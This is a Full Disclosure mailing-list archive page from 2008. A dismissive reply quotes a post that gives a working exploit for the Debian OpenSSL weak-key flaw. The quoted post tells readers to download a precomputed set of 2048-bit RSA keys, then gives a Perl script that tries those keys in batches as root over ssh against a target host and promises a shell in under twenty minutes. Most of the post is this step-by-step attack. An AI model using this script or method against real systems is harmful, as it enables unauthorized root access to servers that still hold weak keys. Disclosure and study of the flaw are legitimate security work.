Full Disclosure mailing list archives
Re: Working exploit for Debian generated SSH Keys
From: reepex <reepex () gmail com>
Date: Sun, 18 May 2008 23:32:53 -0500
Could you never write perl again please? Perl underground should take a shot at your stuff but you are not worth it. On Thu, May 15, 2008 at 1:35 AM, Markus Müller <mm () deadbeef de> wrote:
Hi full-disclosure, the debian openssl issue leads that there are only 65.536 possible ssh keys generated, cause the only entropy is the pid of the process generating the key. This leads to that the following perl script can be used with the precalculated ssh keys to brute force the ssh login. It works if such a keys is installed on a non-patched debian or any other system manual configured to. On an unpatched system, which doesn't need to be debian, do the following: 1. Download http://www.deadbeef.de/rsa.2048.tar.bzip2 2. Extract it to a directory 3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048 Bits, generated on an upatched debian (this is the key this exploit will break) 4. Run the perl script and give it the location to where you extracted the bzip2 mentioned. #!/usr/bin/perl my $keysPerConnect = 6; unless ($ARGV[1]) { print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n"; print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n"; print "By mm () deadbeef de\n"; exit 0; } chdir($ARGV[0]); opendir(A, $ARGV[0]) || die("opendir"); while ($_ = readdir(A)) { chomp; next unless m,^\d+$,; push(@a, $_); if (scalar(@a) > $keysPerConnect) { system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]); @a = (); } } 5. Enjoy the shell after some minutes (less than 20 minutes) Regards, Markus Mueller mm () deadbeef de _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Re: Working exploit for Debian generated SSH Keys, (continued)
- Re: Working exploit for Debian generated SSH Keys reepex (May 18)
- Re: Working exploit for Debian generated SSH Keys Ronald van der Westen (May 19)
- Re: Working exploit for Debian generated SSH Keys nicolas vigier (May 19)
- Re: Working exploit for Debian generated SSH Keys Skratz0r (May 19)
- Re: Working exploit for Debian generated SSH Keys Garrett M. Groff (May 19)
- Re: Working exploit for Debian generated SSH Keys Tonnerre Lombard (May 20)
- Re: Working exploit for Debian generated SSH Keys Michael Holstein (May 20)
- Re: Working exploit for Debian generated SSH Keys Tonnerre Lombard (May 23)
- Re: Working exploit for Debian generated SSH Keys Garrett M. Groff (May 20)
- Re: Working exploit for Debian generated SSH Keys reepex (May 18)
- Re: Working exploit for Debian generated SSH Keys Valdis . Kletnieks (May 20)